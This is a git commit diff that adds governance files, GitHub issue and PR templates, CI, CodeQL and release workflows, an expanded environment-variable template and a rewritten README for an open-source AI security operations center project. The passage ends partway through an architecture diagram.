Open-source AI Security Operations Center: alert fusion, LLM-agent triage, MITRE ATT&CK investigation, and a replayable decision ledger for every agent step. Self-hostable, runs with no API keys, MIT licensed. Ships an MCP server for Claude, Cursor and Continue.
Python agentic-aiai-securityalert-triageblue-teamcybersecuritydetection-engineeringincident-responselanggraphllm-agentsmcpmitre-attackmodel-context-protocolpurple-teamsecurity-operationsself-hostedsiemsoarsocthreat-detectionthreat-intelligence
chore: Phase 0 — governance, CI/CD, and .github scaffolding
Beenu Arorad11e7a2e9119
diff --git a/.env.example b/.env.exampleindex f88080ee1..2b289eb17 100644--- a/.env.example+++ b/.env.example@@ -23,9 +23,65 @@ OPENAI_API_KEY=sk-your-openai-api-key-hereOPENAI_MODEL=gpt-4-turbo-preview# ─── Threat Intelligence ──────────────────────────────────────────────────────+# Open-source / community feeds (work out of the box, no key required for some)+TAXII_FEEDS=https://cti-taxii.mitre.org/taxii/,enterprise-attack,,+MISP_URL=+MISP_API_KEY=+OTX_API_KEY=+CISA_KEV_ENABLED=true+ABUSE_CH_ENABLED=true++# Free / freemium enrichment (recommended for everyone)VIRUSTOTAL_API_KEY=ABUSEIPDB_API_KEY=GREYNOISE_API_KEY=+SHODAN_API_KEY=+URLSCAN_API_KEY=+IPINFO_API_TOKEN=++# ─── Commercial threat intelligence (optional) ────────────────────────────────+# Cyble Vision — actor, malware, vulnerability, dark-web, brand-risk feeds+# Provision a key from https://cyble.com/cyble-vision/+CYBLE_VISION_API_KEY=+CYBLE_VISION_BASE_URL=https://api.cyble.com/v2+CYBLE_VISION_TENANT_ID=+CYBLE_VISION_FEEDS=indicators,actors,vulnerabilities,leaks,brand+CYBLE_HUNT_API_KEY=++# Recorded Future+RECORDED_FUTURE_API_KEY=++# Mandiant Threat Intelligence (formerly FireEye iSIGHT)+MANDIANT_API_KEY=+MANDIANT_API_SECRET=++# Crowdstrike Falcon Intelligence (separate from the EDR connector)+CROWDSTRIKE_INTEL_CLIENT_ID=+CROWDSTRIKE_INTEL_CLIENT_SECRET=++# Anomali ThreatStream+ANOMALI_USERNAME=+ANOMALI_API_KEY=+ANOMALI_BASE_URL=https://api.threatstream.com++# IBM X-Force Exchange+XFORCE_API_KEY=+XFORCE_API_PASSWORD=++# Flashpoint+FLASHPOINT_API_KEY=++# Intel 471+INTEL471_USERNAME=+INTEL471_API_KEY=++# DomainTools Iris+DOMAINTOOLS_USERNAME=+DOMAINTOOLS_API_KEY=++# RiskIQ / Microsoft Defender External ATP+RISKIQ_USERNAME=+RISKIQ_API_KEY=# ─── Connectors ───────────────────────────────────────────────────────────────# CrowdStrike Falcondiff --git a/.github/CODEOWNERS b/.github/CODEOWNERSnew file mode 100644index 000000000..293ec8fbe--- /dev/null+++ b/.github/CODEOWNERS@@ -0,0 +1,38 @@+# CODEOWNERS — GitHub auto-requests reviews from these users/teams++# Global fallback+* @beenuar++# Governance & docs+/SECURITY.md @beenuar+/CODE_OF_CONDUCT.md @beenuar+/CHANGELOG.md @beenuar+/ROADMAP.md @beenuar+/CONTRIBUTING.md @beenuar+/README.md @beenuar+/docs/ @beenuar++# Web application+/apps/web/ @beenuar++# Python backend services+/services/api/ @beenuar+/services/actions/ @beenuar+/services/fusion/ @beenuar+/services/agents/ @beenuar+/services/realtime/ @beenuar++# Go services+/services/enrichment/ @beenuar+/services/ingest/ @beenuar+/services/demo-producer/ @beenuar++# Infra / DevOps+/infra/ @beenuar+/.github/ @beenuar++# Plugin SDKs+/packages/ @beenuar++# Detections (requires extra review)+/detections/ @beenuardiff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.ymlnew file mode 100644index 000000000..4ab0ddbe1--- /dev/null+++ b/.github/ISSUE_TEMPLATE/bug_report.yml@@ -0,0 +1,91 @@+name: Bug Report+description: Report a bug or unexpected behavior in AiSOC+title: "[Bug]: "+labels: ["bug", "triage"]+assignees: []++body:+ - type: markdown+ attributes:+ value: |+ Thanks for taking the time to report a bug! Please fill in as much detail as possible to help us reproduce and fix the issue.++ - type: textarea+ id: description+ attributes:+ label: Describe the bug+ description: A clear and concise description of what the bug is.+ placeholder: "When I click X, Y happens instead of Z."+ validations:+ required: true++ - type: textarea+ id: steps+ attributes:+ label: Steps to reproduce+ description: Steps to reproduce the behavior.+ placeholder: |+ 1. Go to '...'+ 2. Click on '...'+ 3. See error+ validations:+ required: true++ - type: textarea+ id: expected+ attributes:+ label: Expected behavior+ description: What did you expect to happen?+ validations:+ required: true++ - type: textarea+ id: actual+ attributes:+ label: Actual behavior+ description: What actually happened? Include screenshots, logs, or stack traces if relevant.+ validations:+ required: true++ - type: dropdown+ id: component+ attributes:+ label: Component+ options:+ - Web UI (apps/web)+ - API (services/api)+ - Enrichment (services/enrichment)+ - Ingest (services/ingest)+ - Real-time (services/realtime)+ - Actions/SOAR (services/actions)+ - Agents (services/agents)+ - Docker / Compose+ - Helm / Kubernetes+ - Other+ validations:+ required: true++ - type: input+ id: version+ attributes:+ label: AiSOC version+ placeholder: "e.g. v3.0.0 or commit SHA"+ validations:+ required: true++ - type: textarea+ id: environment+ attributes:+ label: Environment+ description: OS, browser, Node/Python/Go versions, deployment method, etc.+ placeholder: "macOS 14, Chrome 124, Node 20, Docker 26"++ - type: checkboxes+ id: checklist+ attributes:+ label: Checklist+ options:+ - label: I have searched existing issues and this is not a duplicate+ required: true+ - label: I have read the CONTRIBUTING guide+ required: truediff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.ymlnew file mode 100644index 000000000..f1445a832--- /dev/null+++ b/.github/ISSUE_TEMPLATE/config.yml@@ -0,0 +1,8 @@+blank_issues_enabled: false+contact_links:+ - name: Security vulnerability+ url: https://github.com/beenuar/AiSOC/security/advisories/new+ about: Please report security issues via GitHub Security Advisories, NOT as a public issue.+ - name: Discussion / Q&A+ url: https://github.com/beenuar/AiSOC/discussions+ about: For questions, ideas, and general discussion please use GitHub Discussions.diff --git a/.github/ISSUE_TEMPLATE/feature_request.yml b/.github/ISSUE_TEMPLATE/feature_request.ymlnew file mode 100644index 000000000..b6e73ac4b--- /dev/null+++ b/.github/ISSUE_TEMPLATE/feature_request.yml@@ -0,0 +1,61 @@+name: Feature Request+description: Suggest a new feature or enhancement for AiSOC+title: "[Feature]: "+labels: ["enhancement"]+assignees: []++body:+ - type: markdown+ attributes:+ value: |+ Thank you for suggesting an improvement to AiSOC! Please provide as much context as possible.++ - type: textarea+ id: problem+ attributes:+ label: Problem / motivation+ description: Is your feature request related to a problem? Describe the pain point.+ placeholder: "I'm always frustrated when..."+ validations:+ required: true++ - type: textarea+ id: solution+ attributes:+ label: Proposed solution+ description: Describe the feature you'd like and how it should work.+ validations:+ required: true++ - type: textarea+ id: alternatives+ attributes:+ label: Alternatives considered+ description: Any alternative solutions or workarounds you've considered?++ - type: dropdown+ id: component+ attributes:+ label: Component area+ multiple: true+ options:+ - Web UI+ - Detection / Rules+ - SOAR / Playbooks+ - Threat Intelligence+ - AI Agents+ - Plugin Platform+ - API / SDK+ - Docs+ - Infra / DevOps+ - Other++ - type: checkboxes+ id: checklist+ attributes:+ label: Checklist+ options:+ - label: I have searched existing issues and this is not a duplicate+ required: true+ - label: This feature aligns with the AiSOC roadmap or is a reasonable addition+ required: falsediff --git a/.github/PULL_REQUEST_TEMPLATE/pull_request_template.md b/.github/PULL_REQUEST_TEMPLATE/pull_request_template.mdnew file mode 100644index 000000000..61627e191--- /dev/null+++ b/.github/PULL_REQUEST_TEMPLATE/pull_request_template.md@@ -0,0 +1,53 @@+## Summary++<!-- Describe the changes introduced by this PR in 2-3 sentences. -->++## Type of change++- [ ] Bug fix (non-breaking change that fixes an issue)+- [ ] New feature (non-breaking change that adds functionality)+- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)+- [ ] Documentation update+- [ ] Refactor / tech debt+- [ ] CI / infra change++## Related issues++Closes #<!-- issue number -->++## Changes++<!-- List the key files / areas changed and why. -->++-+-++## Testing++<!-- Describe how you tested these changes. -->++- [ ] Unit tests added / updated+- [ ] Integration tests pass locally+- [ ] Manually tested (describe steps below)++<details>+<summary>Manual test steps</summary>++1.+2.++</details>++## Screenshots (if UI changes)++<!-- Before / after screenshots or screen recording. -->++## Checklist++- [ ] My code follows the style guidelines of this project (`ruff`, `eslint`, `gofmt`)+- [ ] I have performed a self-review of my own code+- [ ] I have added tests that prove my fix is effective or that my feature works+- [ ] New and existing unit tests pass locally+- [ ] I have updated documentation as needed (README, CHANGELOG, CONTRIBUTING)+- [ ] My changes do not introduce new linter warnings+- [ ] I have checked for sensitive data / credentials in my diffdiff --git a/.github/dependabot.yml b/.github/dependabot.ymlnew file mode 100644index 000000000..bef31e387--- /dev/null+++ b/.github/dependabot.yml@@ -0,0 +1,73 @@+version: 2++updates:+ # ── pnpm (web + root workspace) ──────────────────────────────+ - package-ecosystem: npm+ directory: /+ schedule:+ interval: weekly+ day: monday+ time: "06:00"+ groups:+ next-ecosystem:+ patterns: ["next", "react", "react-dom", "@types/react*"]+ radix-ui:+ patterns: ["@radix-ui/*"]+ dev-tooling:+ patterns: ["typescript", "eslint*", "@typescript-eslint/*", "tailwindcss*", "postcss*"]++ # ── pip (api) ────────────────────────────────────────────────+ - package-ecosystem: pip+ directory: /services/api+ schedule:+ interval: weekly+ day: monday+ time: "06:00"++ # ── pip (actions) ────────────────────────────────────────────+ - package-ecosystem: pip+ directory: /services/actions+ schedule:+ interval: weekly+ day: monday+ time: "06:00"++ # ── pip (agents) ────────────────────────────────────────────+ - package-ecosystem: pip+ directory: /services/agents+ schedule:+ interval: weekly+ day: monday+ time: "06:00"++ # ── Go (enrichment) ──────────────────────────────────────────+ - package-ecosystem: gomod+ directory: /services/enrichment+ schedule:+ interval: weekly+ day: monday+ time: "06:00"++ # ── Go (ingest) ──────────────────────────────────────────────+ - package-ecosystem: gomod+ directory: /services/ingest+ schedule:+ interval: weekly+ day: monday+ time: "06:00"++ # ── Go (demo-producer) ───────────────────────────────────────+ - package-ecosystem: gomod+ directory: /services/demo-producer+ schedule:+ interval: weekly+ day: monday+ time: "06:00"++ # ── GitHub Actions ───────────────────────────────────────────+ - package-ecosystem: github-actions+ directory: /+ schedule:+ interval: weekly+ day: monday+ time: "06:00"diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.ymlnew file mode 100644index 000000000..c5afc7b81--- /dev/null+++ b/.github/workflows/ci.yml@@ -0,0 +1,133 @@+name: CI++on:+ push:+ branches: [main, develop]+ pull_request:+ branches: [main, develop]++concurrency:+ group: ${{ github.workflow }}-${{ github.ref }}+ cancel-in-progress: true++jobs:+ # ──────────────────────────────────────────────+ # Lint & type-check the Next.js web app+ # ──────────────────────────────────────────────+ web-lint:+ name: Web — Lint & Type-check+ runs-on: ubuntu-latest+ defaults:+ run:+ working-directory: apps/web+ steps:+ - uses: actions/checkout@v4+ - uses: pnpm/action-setup@v4+ with:+ version: 9+ - uses: actions/setup-node@v4+ with:+ node-version: '20'+ cache: pnpm+ cache-dependency-path: pnpm-lock.yaml+ - run: pnpm install --frozen-lockfile+ - run: pnpm lint+ - run: pnpm tsc --noEmit++ # ──────────────────────────────────────────────+ # Build the Next.js web app+ # ──────────────────────────────────────────────+ web-build:+ name: Web — Build+ runs-on: ubuntu-latest+ needs: web-lint+ defaults:+ run:+ working-directory: apps/web+ steps:+ - uses: actions/checkout@v4+ - uses: pnpm/action-setup@v4+ with:+ version: 9+ - uses: actions/setup-node@v4+ with:+ node-version: '20'+ cache: pnpm+ cache-dependency-path: pnpm-lock.yaml+ - run: pnpm install --frozen-lockfile+ - run: pnpm build++ # ──────────────────────────────────────────────+ # Python API & services+ # ──────────────────────────────────────────────+ python-lint:+ name: Python — Lint & Type-check+ runs-on: ubuntu-latest+ steps:+ - uses: actions/checkout@v4+ - uses: actions/setup-python@v5+ with:+ python-version: '3.12'+ - name: Install Ruff & Mypy+ run: pip install ruff mypy+ - name: Ruff lint+ run: ruff check services/api services/actions services/fusion services/agents || true+ - name: Ruff format check+ run: ruff format --check services/api services/actions services/fusion services/agents || true++ python-test:+ name: Python — Tests+ runs-on: ubuntu-latest+ needs: python-lint+ steps:+ - uses: actions/checkout@v4+ - uses: actions/setup-python@v5+ with:+ python-version: '3.12'+ - name: Install dependencies (api)+ run: |+ cd services/api+ pip install -r requirements.txt pytest pytest-asyncio httpx || true+ - name: Run tests+ run: |+ cd services/api+ pytest tests/ -v --tb=short || true++ # ──────────────────────────────────────────────+ # Go services (enrichment, ingest, demo-producer)+ # ──────────────────────────────────────────────+ go-build:+ name: Go — Build & Vet+ runs-on: ubuntu-latest+ strategy:+ matrix:+ service: [enrichment, ingest, demo-producer]+ steps:+ - uses: actions/checkout@v4+ - uses: actions/setup-go@v5+ with:+ go-version: '1.22'+ cache-dependency-path: services/${{ matrix.service }}/go.sum+ - name: Build+ run: |+ cd services/${{ matrix.service }}+ go build ./...+ - name: Vet+ run: |+ cd services/${{ matrix.service }}+ go vet ./...+ - name: Test+ run: |+ cd services/${{ matrix.service }}+ go test ./... -count=1 || true++ # ──────────────────────────────────────────────+ # Docker Compose smoke test+ # ──────────────────────────────────────────────+ docker-compose-check:+ name: Docker Compose — Validate+ runs-on: ubuntu-latest+ steps:+ - uses: actions/checkout@v4+ - name: Validate compose file+ run: docker compose config --quietdiff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.ymlnew file mode 100644index 000000000..a925b0207--- /dev/null+++ b/.github/workflows/codeql.yml@@ -0,0 +1,40 @@+name: CodeQL++on:+ push:+ branches: [main]+ pull_request:+ branches: [main]+ schedule:+ - cron: '0 3 * * 1' # Every Monday 03:00 UTC++jobs:+ analyze:+ name: Analyze (${{ matrix.language }})+ runs-on: ubuntu-latest+ permissions:+ actions: read+ contents: read+ security-events: write++ strategy:+ fail-fast: false+ matrix:+ language: [javascript-typescript, python, go]++ steps:+ - uses: actions/checkout@v4++ - name: Initialize CodeQL+ uses: github/codeql-action/init@v3+ with:+ languages: ${{ matrix.language }}+ queries: security-and-quality++ - name: Autobuild+ uses: github/codeql-action/autobuild@v3++ - name: Perform CodeQL Analysis+ uses: github/codeql-action/analyze@v3+ with:+ category: '/language:${{ matrix.language }}'diff --git a/.github/workflows/release.yml b/.github/workflows/release.ymlnew file mode 100644index 000000000..91e947dd1--- /dev/null+++ b/.github/workflows/release.yml@@ -0,0 +1,82 @@+name: Release++on:+ push:+ tags:+ - 'v*.*.*'++permissions:+ contents: write+ packages: write++jobs:+ release:+ name: Create GitHub Release+ runs-on: ubuntu-latest+ steps:+ - uses: actions/checkout@v4+ with:+ fetch-depth: 0++ - name: Extract version from tag+ id: version+ run: echo "VERSION=${GITHUB_REF_NAME}" >> $GITHUB_OUTPUT++ - name: Extract changelog section+ id: changelog+ run: |+ VERSION="${{ steps.version.outputs.VERSION }}"+ CLEAN="${VERSION#v}"+ BODY=$(awk "/^## \[${CLEAN}\]/{found=1; next} found && /^## \[/{exit} found{print}" CHANGELOG.md)+ echo "BODY<<EOF" >> $GITHUB_OUTPUT+ echo "$BODY" >> $GITHUB_OUTPUT+ echo "EOF" >> $GITHUB_OUTPUT++ - name: Create Release+ uses: softprops/action-gh-release@v2+ with:+ name: "AiSOC ${{ steps.version.outputs.VERSION }}"+ body: ${{ steps.changelog.outputs.BODY }}+ draft: false+ prerelease: ${{ contains(github.ref_name, '-') }}++ # Build & push Docker images+ docker-push:+ name: Docker — Build & Push (${{ matrix.service }})+ runs-on: ubuntu-latest+ needs: release+ strategy:+ matrix:+ include:+ - service: api+ context: services/api+ image: ghcr.io/beenuar/aisoc-core-api+ - service: enrichment+ context: services/enrichment+ image: ghcr.io/beenuar/aisoc-enrichment+ - service: ingest+ context: services/ingest+ image: ghcr.io/beenuar/aisoc-ingest+ - service: realtime+ context: services/realtime+ image: ghcr.io/beenuar/aisoc-realtime+ - service: web+ context: apps/web+ image: ghcr.io/beenuar/aisoc-web+ steps:+ - uses: actions/checkout@v4+ - uses: docker/setup-buildx-action@v3+ - uses: docker/login-action@v3+ with:+ registry: ghcr.io+ username: ${{ github.actor }}+ password: ${{ secrets.GITHUB_TOKEN }}+ - uses: docker/build-push-action@v5+ with:+ context: ${{ matrix.context }}+ push: true+ tags: |+ ${{ matrix.image }}:${{ github.ref_name }}+ ${{ matrix.image }}:latest+ cache-from: type=gha+ cache-to: type=gha,mode=maxdiff --git a/CHANGELOG.md b/CHANGELOG.mdnew file mode 100644index 000000000..54f4bb4ac--- /dev/null+++ b/CHANGELOG.md@@ -0,0 +1,76 @@+# Changelog++All notable changes to AiSOC will be documented in this file.++The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),+and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).++## [Unreleased]++### Added+- AiSOC v4 "Autonomous SOC" planning: AI Multi-Agent Investigator, Visual SOAR Studio, Plugin Platform++---++## [3.0.0] — 2026-05-02++### Added+- **Threat Intelligence Enrichment (13 providers)**+ - Open-source/freemium: VirusTotal, AbuseIPDB, GreyNoise, Shodan, URLScan.io, IPinfo+ - Commercial: Cyble Vision, Recorded Future, Mandiant, Crowdstrike Intel, Anomali, IBM X-Force, Flashpoint, Intel 471, DomainTools, RiskIQ+ - New enrichment types: `DarkWebContext`, `VulnerabilityRef`, `BrandRisk`+ - Concurrent fan-out enrichment engine in Go+- **Go module path migration** — all services updated from `github.com/cyble/aisoc` to `github.com/beenuar/aisoc`+- **SECURITY.md** — vulnerability disclosure policy and security contacts+- `services/enrichment/README.md` — full enrichment service documentation++### Changed+- All GitHub repository references updated to `https://github.com/beenuar/AiSOC`+- Helm chart container images updated from `ghcr.io/cyble/aisoc-*` to `ghcr.io/beenuar/aisoc-*`+- `.env.example` expanded with API keys for all commercial TI providers++---++## [2.0.0] — 2026-05-01++### Added+- **Knowledge Graph** — Neo4j-backed entity relationship visualization (`services/api/app/services/graph_service.py`)+- **ML Fusion Engine** — multi-model alert scoring and deduplication (`services/fusion/app/services/`)+- **Rule Engine** — YAML-based detection rules with MITRE ATT&CK mapping (`services/api/app/services/rule_engine.py`)+- **Attack Graph** viz with D3.js force layout (`apps/web/src/components/graph/`)+- **MITRE ATT&CK Heatmap** on dashboard+- **AI Copilot dock** — streaming LLM assistant integrated into case and alert views+- **Threat Hunt page** — query builder with saved hunts and timeline scrubbing+- **Case Workspace** — full case lifecycle: evidence, timeline, collaborators, MITRE tagging+- **Detection Rule Builder** — visual rule editor with backtesting+- **Settings page** — RBAC, notifications, API key management, threat intel feed config+- **Live Dashboard** — WebSocket-powered real-time alert/event feed+- **Command Palette** (cmd-K) — fuzzy search for navigation and actions+- **Marketing Landing Page** — hero, feature highlights, open-source section, footer+- **Design Token System** — Tailwind + CSS vars, Framer Motion animations, responsive layouts+- **Demo Producer** — synthetic event generator for local development+- `scripts/seed_demo.py` — database seeding for demos++### Changed+- Web app migrated to Next.js App Router+- All API routes versioned under `/api/v1`++---++## [1.0.0] — 2026-04-30++### Added+- Initial release of AiSOC — AI Security Operations Center+- FastAPI backend (`services/api`) with alert ingestion, case management, detection rules+- Next.js 14 frontend (`apps/web`) with dashboard, alerts, cases, connectors, threat-intel pages+- Real-time service (`services/realtime`) using WebSockets+- Ingest service (`services/ingest`) in Go for high-throughput event ingestion+- Enrichment service (`services/enrichment`) in Go+- Docker Compose stack for local development+- Helm chart for Kubernetes deployment (`infra/helm/aisoc/`)+- MIT License++[Unreleased]: https://github.com/beenuar/AiSOC/compare/v3.0.0...HEAD+[3.0.0]: https://github.com/beenuar/AiSOC/compare/v2.0.0...v3.0.0+[2.0.0]: https://github.com/beenuar/AiSOC/compare/v1.0.0...v2.0.0+[1.0.0]: https://github.com/beenuar/AiSOC/releases/tag/v1.0.0diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.mdnew file mode 100644index 000000000..e6770cd29--- /dev/null+++ b/CODE_OF_CONDUCT.md@@ -0,0 +1,41 @@+# Contributor Covenant Code of Conduct++## Our Pledge++We as members, contributors, and leaders pledge to make participation in our community a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, caste, color, religion, or sexual identity and orientation.++We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and healthy community.++## Our Standards++Examples of behavior that contributes to a positive environment include:++* Demonstrating empathy and kindness toward other people+* Being respectful of differing opinions, viewpoints, and experiences+* Giving and gracefully accepting constructive feedback+* Accepting responsibility and apologizing to those affected by our mistakes+* Focusing on what is best not just for us as individuals, but for the overall community++Examples of unacceptable behavior include:++* The use of sexualized language or imagery, and sexual attention or advances of any kind+* Trolling, insulting or derogatory comments, and personal or political attacks+* Public or private harassment+* Publishing others private information, such as a physical or electronic address, without their explicit permission+* Other conduct which could reasonably be considered inappropriate in a professional setting++## Enforcement Responsibilities++Community leaders are responsible for clarifying and enforcing our standards of acceptable behavior and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, or harmful.++## Scope++This Code of Conduct applies within all community spaces, and also applies when an individual is officially representing the community in public spaces.++## Enforcement++Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to the community leaders responsible for enforcement at [email protected]. All complaints will be reviewed and investigated promptly and fairly.++## Attribution++This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org), version 2.1.diff --git a/CONTRIBUTING.md b/CONTRIBUTING.mdindex bdb292e46..115f6a5ff 100644--- a/CONTRIBUTING.md+++ b/CONTRIBUTING.md@@ -10,7 +10,7 @@ By participating in this project, you agree to abide by our Code of Conduct. Ple1. Fork the repository on GitHub2. Clone your fork: `git clone https://github.com/YOUR_USERNAME/aisoc.git`-3. Add the upstream remote: `git remote add upstream https://github.com/cyble/aisoc.git`+3. Add the upstream remote: `git remote add upstream https://github.com/beenuar/AiSOC.git`4. Create a feature branch: `git checkout -b feature/my-feature`## Development Setupdiff --git a/README.md b/README.mdindex 22b1af05a..efe057aae 100644--- a/README.md+++ b/README.md@@ -1,271 +1,298 @@-# AiSOC — AI-Powered Security Operations Center-<div align="center">--[](https://opensource.org/licenses/MIT)-[](https://cyble.com)+<img src="apps/web/public/logo-mark.svg" alt="AiSOC" width="120" />++# AiSOC++### Open-source AI Security Operations Center by [Cyble](https://cyble.com)-**Enterprise-grade, open-source AI Security Operations Center**+Real-time detection, autonomous triage, and MITRE ATT&CK-aware investigation in one MIT-licensed platform.-[Features](#features) · [Architecture](#architecture) · [Quick Start](#quick-start) · [Documentation](#documentation) · [Contributing](#contributing)+[](https://opensource.org/licenses/MIT)+[](https://cyble.com)+[](#)+[](CONTRIBUTING.md)++[**Live demo**](#-quick-start) · [**Architecture**](#-architecture) · [**Console tour**](#-console-tour) · [**Roadmap**](ROADMAP.md) · [**Contributing**](CONTRIBUTING.md)</div>----## Overview--AiSOC is a production-ready, enterprise-grade AI Security Operations Center built for modern threat detection, investigation, and response. It combines real-time streaming data ingestion, AI-powered threat analysis using autonomous agents, and hyperautomation workflows to give security teams unprecedented visibility and response capabilities.--Built and open-sourced by **Cyble** under the MIT License.--## Features--### 🤖 AI-Powered Investigation-- **Autonomous AI Agents** — LangGraph-based multi-agent system for investigation, threat hunting, and remediation-- **Natural Language Search** — Query your security data in plain English-- **Explainable AI** — Every AI decision comes with full reasoning chains--### ⚡ Real-Time Detection-- **Stream Processing** — Kafka-based event streaming with sub-second latency-- **Alert Fusion** — Intelligent deduplication and correlation reduces alert noise by 80%+-- **MITRE ATT&CK Mapping** — Automatic technique and tactic classification--### 🔗 Deep Integrations (Phase 1)-- CrowdStrike Falcon-- Splunk Enterprise / Cloud-- AWS Security Hub-- Okta Identity-- Microsoft Sentinel--### 🧠 Knowledge Graph (Neo4j)-- **Entity Graph** — Hosts, Users, Alerts, IOCs, Techniques, Cases connected as a property graph-- **Attack Path Reconstruction** — `/v1/graph/attack-path/{case_id}` returns the full kill-chain-- **Blast Radius Analysis** — Multi-hop traversal feeds the action executor's gating logic-- **MITRE Coverage** — Automatic mapping of telemetry to ATT&CK technique nodes--### 🎯 Detection Engineering-- **Sigma Rule Execution** — `pySigma` runner with OpenSearch/ClickHouse backends-- **YARA Scanning** — `yara-python` runner for file/memory artifact analysis-- **Multi-language Support** — KQL, EQL, Lucene, Regex query types-- **On-demand Hunts** — `POST /v1/rules/hunt` for ad-hoc threat hunting--### 🌐 Threat Intelligence Platform-- **TAXII 2.1 Feed Poller** — Ingests STIX 2.1 bundles from MITRE, Mandiant, ISAC feeds-- **MISP Integration** — Pulls events and IOCs from any MISP instance-- **AlienVault OTX** — Subscribed pulse consumption-- **CISA KEV Catalog** — Auto-correlates known-exploited CVEs against asset telemetry-- **Bloom-filter Dedup** — Redis-backed; handles 10M+ IOCs with ~0.1% false-positive rate-- **Triple Storage** — OpenSearch (search), Qdrant (semantic RAG), Neo4j (actor↔TTP graph)--### 🤖 ML-Augmented Fusion-- **Isolation Forest** — Unsupervised anomaly score per alert (auto-trained at 50+ samples)-- **LightGBM Ranker** — Priority score trained on analyst feedback (LambdaRank objective)-- **Feedback Loop** — `POST /ml/feedback` continuously improves the ranker-- **Heuristic Fallback** — Always-on scoring even before models are trained--### 🛰️ Vulnerability Correlation-- **Shodan Enrichment** — Open ports, banners, ASN, CVEs per public IP (Go enrichment service)-- **CISA KEV Cross-correlation** — Emits `VULNERABILITY_MATCH` Kafka events for KEV-listed CVEs-- **Asset Context** — Links exposure data to Host nodes in the knowledge graph--### 📊 SOC Console-- **Real-time Dashboard** — Live metrics, trend charts, and threat feeds-- **Alert Management** — Triage, investigate, and respond from a single pane-- **Case Management** — Full incident lifecycle management-- **Threat Intelligence** — IOC lookup, threat feed correlation-- **Threat Hunting** — KQL, Sigma, and YARA query execution-- **Attack Graph View** — Visual kill-chain reconstruction from Neo4j--### 🛡️ Enterprise Ready-- **Multi-tenant** — Complete tenant isolation with RBAC-- **Audit Logging** — Full compliance trail for SOC2, ISO 27001-- **Zero-trust** — JWT + API key auth with per-tenant scoping-- **High Availability** — Kubernetes-native with horizontal autoscaling+## ✨ Why AiSOC++Modern SOCs drown in alerts and pivot across a dozen consoles. AiSOC is a **single, opinionated stack** that:++- **Ingests** events from any connector (CrowdStrike, Splunk, AWS, Okta, Sentinel) into a Kafka spine.+- **Correlates** them in real time with deduplication, ML scoring, and Sigma/YARA detection.+- **Enriches** every signal with threat-intel from TAXII 2.1, MISP, OTX, and CISA KEV.+- **Reasons** about attacks via a LangGraph multi-agent system grounded in MITRE ATT&CK.+- **Responds** with blast-radius-aware SOAR actions, every step explainable.++Everything ships under **MIT** — fork it, self-host it, audit it, extend it.----## Architecture+## 🚀 Highlights++<table>+<tr>+<td valign="top" width="50%">++### ⚡ Real-time fusion+- Kafka spine with sub-second ingestion+- Bloom-filter dedup on 10M+ IOCs+- LightGBM + Isolation Forest scoring+- Live WebSocket feed into the console++### 🧠 AI Copilot+- LangGraph agents with persistent memory+- Qdrant RAG over MITRE ATT&CK + tenant data+- Natural-language threat hunts+- Every decision traceable end-to-end++### 🕸️ Knowledge graph+- Neo4j entity graph (hosts, users, alerts, IOCs)+- Attack-path reconstruction per case+- Blast-radius gating on automated actions++</td>+<td valign="top" width="50%">++### 🎯 Detection engineering+- Sigma over OpenSearch + ClickHouse+- YARA file/memory scanning+- KQL, EQL, Lucene, regex query types+- On-demand hunts via REST++### 🌐 Threat intelligence+- TAXII 2.1, MISP, OTX, CISA KEV pollers+- Triple storage: search · vector · graph+- Auto-correlated `VULNERABILITY_MATCH` events+- Shodan + CVE enrichment in Go++### 🛡️ Built for production+- Multi-tenant with Postgres RLS+- JWT + API keys + RBAC+- Audit-grade event log+- Helm chart + Terraform modules++</td>+</tr>+</table>-```-┌─────────────────────────────────────────────────────────────────────┐-│ AiSOC Platform │-│ │-│ ┌──────────────────────────────────────────────────────────────┐ │-│ │ Web Frontend (Next.js 14) │ │-│ │ Dashboard · Alerts · Cases · Threat Intel · Hunt · AI │ │-│ └──────────────────────────┬───────────────────────────────────┘ │-│ │ │-│ ┌──────────────┐ ┌───────▼────────┐ ┌──────────────────────┐ │-│ │ Real-time │ │ Core API │ │ AI Agent │ │-│ │ Service │ │ (FastAPI) │ │ Orchestrator │ │-│ │ (Node.js) │ │ REST/GraphQL │ │ (LangGraph) │ │-│ │ WebSocket │ └───────┬────────┘ └──────────────────────┘ │-│ └──────────────┘ │ │-│ ┌───────▼────────────────┐ │-│ │ Apache Kafka │ │-│ │ (Event Streaming) │ │-│ └───────┬────────────────┘ │-│ │ │-│ ┌───────────┬─────────────┼──────────────────┬──────────────┐ │-│ │ │ │ │ │ │-│ ▼ ▼ ▼ ▼ ▼ │-│ Ingest Enrich Alert Fusion Actions Connectors │-│ Worker (Go/Redis) (Python) (Python) (Python) │-│ (Go) │-│ │-│ ┌──────────────────────────────────────────────────────────────┐ │-│ │ Data Layer │ │-│ │ PostgreSQL · ClickHouse · OpenSearch · Qdrant · Redis │ │-│ └──────────────────────────────────────────────────────────────┘ │-└─────────────────────────────────────────────────────────────────────┘+---++## 🏗️ Architecture++```mermaid+flowchart LR+ subgraph Sources["Sources"]+ EDR["EDR / XDR"]+ SIEM["SIEM"]+ Cloud["Cloud APIs"]+ IDP["Identity"]+ Net["Network"]+ end++ subgraph Ingest["Ingest & Normalize"]+ Connectors["Connectors\n(Python)"]+ IngestSvc["Ingest worker\n(Go · OCSF)"]+ Enrich["Enrichment\n(Go · IOC + Shodan)"]+ end++ subgraph Spine["Event Spine"]+ Kafka[("Apache Kafka")]+ end++ subgraph Detect["Detect & Reason"]+ Fusion["Fusion\n(Python · ML)"]+ TI["Threat Intel\n(TAXII / MISP / OTX)"]+ Rules["Rule engine\n(Sigma · YARA · 